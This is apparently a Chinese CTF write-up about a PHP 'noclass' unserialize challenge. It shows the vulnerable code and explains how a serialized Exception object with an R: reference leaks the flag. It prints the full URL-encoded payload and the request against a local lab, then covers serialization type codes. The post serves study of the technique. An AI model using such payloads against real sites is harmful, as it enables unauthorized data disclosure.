0%

浅谈php反序列化的参数类型

0x00 前言

​ 今天下午做了一道反序列化,彻底刷新了我对php的认知。这里记录一下吧。

0x01 源码

​ 不知道是什么比赛的题目,不过无所谓了,快乐就好了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php 
highlight_file(__FILE__);
include "flag.php";
$a = $_GET['a'];
$b = unserialize ($a);
$b->c = $flag;
#var_dump($b);
foreach($b as $key => $value)
{
if($key==='c')
{
continue;
}
echo $value;
}
?>

​ 这里因为考虑的时间太长了,导致环境关闭了,所以自己在本地测试了。测试代码和环境如下:

flag.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php 
highlight_file(__FILE__);

$a = $_GET['a'];
$b = unserialize ($a);
$b->c = 'flag{6514534685478}';
#var_dump($b);
foreach($b as $key => $value)
{
if($key==='c')
{
continue;
}
echo $value;
}
?>

测试环境:Windows + PHP5.6 + Apache

0x02 分析

2.1 noclass

​ 首先题目的名称是noclass。而本题也确实没有class。那么应该就是寻找php的原生类了。这个我们在极光的第二周周练的时候找过,但是肯定不是那么简单。不过首先我们要搞懂为什么我们要使用原生类。我们考虑下面的一段代码:

1
2
3
4
5
6
7
<?php
$a = 'O:4:"test":1:{s:1:"a";s:6:"123456";}';
var_dump(unserialize($a));
?>

测试结果:
object(__PHP_Incomplete_Class)#1 (2) { ["__PHP_Incomplete_Class_Name"]=> string(4) "test" ["a"]=> string(6) "123456" }

​ 明明是可以直接反序列化的,那么我们为什么还要找原生类呢?考虑下面的一段代码:

1
2
3
4
5
6
7
8
9
10
11
<?php
$a = 'O:4:"test":1:{s:1:"a";s:6:"123456";}';
$b = unserialize($a);
$b->a = "cioier";
var_dump($b);
?>

测试结果:

Notice: main(): The script tried to execute a method or access a property of an incomplete object. Please ensure that the class definition "test" of the object you are trying to operate on was loaded _before_ unserialize() gets called or provide a __autoload() function to load the class definition in E:\phpStudy_2014.10.02_XiaZaiBa\WWW\test\w.php on line 4
object(__PHP_Incomplete_Class)#1 (2) { ["__PHP_Incomplete_Class_Name"]=> string(4) "test" ["a"]=> string(6) "123456" }

​ 除去报错可以看到,我们的属性a的值并没有改变。这也就是为什么我们需要原生类的理由。匿名类的属性是无法被赋值的。

2.2 Exception

​ 这个类相信大家都不陌生。这就是常见的php反序列化中的使用__toString方法进行XSS的。这里我们并不需要它的__toString方法。我们只需要它可以修改c属性的值就可以了。参考代码如下:

1
2
3
4
5
6
7
8
<?php
$a = unserialize('O:9:"Exception":7:{s:10:"*message";s:4:"1111";s:17:"Exceptionstring";s:0:"";s:7:"*code";i:0;s:7:"*file";s:46:"E:\phpStudy_2014.10.02_XiaZaiBa\WWW\test\w.php";s:7:"*line";i:3;s:16:"Exceptiontrace";a:0:{}s:19:"Exceptionprevious";N;}');
$a->c = "flag{ }";
var_dump($a);

?>
测试结果:
object(stdClass)#1 (1) { ["c"]=> string(9) "flag{ }" }

PS: 其实这里是有个小问题的,不知道大家看出来没有。反正懒得改了。

2.3 Quote

​ 之后在找资料的时候看到了&这个东西,突然突发奇想,我们直接使用别的变量将其带出来不就完事了吗?我们采用下面的代码:

1
2
3
4
5
6
7
8
9
10
11
12
<?php

$a = new Exception("1111");
#echo serialize($a);

$a->c = "wwwww";
$a->m = &$a->c;
echo urlencode(serialize($a));

?>
测试结果:
O%3A9%3A%22Exception%22%3A9%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A4%3A%221111%22%3Bs%3A17%3A%22%00Exception%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A0%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A49%3A%22E%3A%5CphpStudy_2014.10.02_XiaZaiBa%5CWWW%5Ctest%5Ctest.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A3%3Bs%3A16%3A%22%00Exception%00trace%22%3Ba%3A0%3A%7B%7Ds%3A19%3A%22%00Exception%00previous%22%3BN%3Bs%3A1%3A%22c%22%3Bs%3A5%3A%22wwwww%22%3Bs%3A1%3A%22m%22%3BR%3A9%3B%7D

​ 然后我们就可以将数据带出啦。

1
http://127.0.0.1/test/flag.php?a=O%3A9%3A%22Exception%22%3A9%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A4%3A%221111%22%3Bs%3A17%3A%22%00Exception%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A0%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A49%3A%22E%3A%5CphpStudy_2014.10.02_XiaZaiBa%5CWWW%5Ctest%5Ctest.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A3%3Bs%3A16%3A%22%00Exception%00trace%22%3Ba%3A0%3A%7B%7Ds%3A19%3A%22%00Exception%00previous%22%3BN%3Bs%3A1%3A%22c%22%3Bs%3A5%3A%22wwwww%22%3Bs%3A1%3A%22m%22%3BR%3A9%3B%7D

​ 测试结果:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php  
highlight_file(__FILE__);

$a = $_GET['a'];
$b = unserialize ($a);
$b->c = 'flag{6514534685478}';
#var_dump($b);
foreach($b as $key => $value)
{
if($key==='c')
{
continue;
}
echo $value;
}
?> flag{6514534685478}

​ 就将flag带出来了。

2.3 Parameter

​ 虽然我们成功的把flag带了出来。但是我们本次的目的并不是flag。而是反序列化中的类型参数。比如上图中我们的参数就是下面的样子。

1
O:9:"Exception":9:{s:10:"*message";s:4:"1111";s:17:"Exceptionstring";s:0:"";s:7:"*code";i:0;s:7:"*file";s:49:"E:\phpStudy_2014.10.02_XiaZaiBa\WWW\test\test.php";s:7:"*line";i:3;s:16:"Exceptiontrace";a:0:{}s:19:"Exceptionprevious";N;s:1:"c";s:5:"wwwww";s:1:"m";R:9;}

​ 看到了R相信好多师傅都蒙了。这就是我们今天重点提的东西:反序列化参数的类型。

​ 我们熟知的参数有下面的几种:

1
2
3
4
5
6
String  : s:size:value;
Integer : i:value;
Boolean : b:value;(保存10)
Null : N;
Array : a:size:{key definition;value definition;(repeated per element)}
Object : O:strlen(object name):object name:object size:{s:strlen(property name):property name:property definition;(repeated per property)}

​ 然后翻阅官方文档之后,发现有这样的解释:

1
2
3
4
5
6
after serializing and unserializing, slice 1 is no longer a reference to the array itself... I have found no way around this problem... even manually modifying the serialized string from 
'a:2:{i:0;s:4:"pleh";i:1;a:2:{i:0;s:4:"pleh";i:1;R:3;}}'
to
'a:2:{i:0;s:4:"pleh";i:1;R:1;}'

to force the second slice to be a reference to the first element of the serialization (the array itself), it seemed to work at first glance, but then unreferences it when you alter it again, observe
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php 
$testser = 'a:2:{i:0;s:4:"pleh";i:1;R:1;}';
$tmp = unserialize($testser);
print_r($tmp);
print "\n-----------------------\n";
$tmp[1][0] = "blah";
print_r($tmp);

?>
测试结果:
outputs:
Array
(
[0] => pleh
[1] => Array
*RECURSION*
)

-----------------------
Array
(
[0] => pleh
[1] => Array
(
[0] => blah
[1] => Array
(
[0] => pleh
[1] => Array
*RECURSION*
)

)

)

​ 然后,我们自己测试一下呗。这次把R:1改为R:2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php 
$testser = 'a:2:{i:0;s:4:"pleh";i:1;R:2;}';
$tmp = unserialize($testser);
print_r($tmp);
echo "<br>";
print "\n-----------------------\n";
echo "<br>";
$tmp[1][0] = "blah";
print_r($tmp);

?>
测试结果:
Array ( [0] => pleh [1] => pleh )
-----------------------
Array ( [0] => bleh [1] => bleh )

​ 我们可以看到R:1指的就是Array本身,而R:2就是$tmp[1][0]的值。到这里,相信各位师傅也明白了这些东西。我就不多赘述了。

PS: 除了R之外,我又发现了一个快乐的东西。官方文档有这样的一段代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
Serializing floating point numbers leads to weird precision offset errors:

<?php

echo round(96.670000000000002, 2);
// 96.67

echo serialize(round(96.670000000000002, 2));
// d:96.670000000000002;

echo serialize(96.67);
// d:96.670000000000002;

?>
Not only is this wrong, but it adds a lot of unnecessary bulk to serialized data. Probably better to use json_encode() instead (which apparently is faster than serialize(), anyway).

​ 而我在意的并不是精度,而是d这个参数,那么下篇文章就让我们去看一下这个参数吧。(挖坑)

0x03 后记

​ 很快乐。终于完成了。

0x04 参考

php官方文档

https://www.php.net/manual/en/function.serialize.php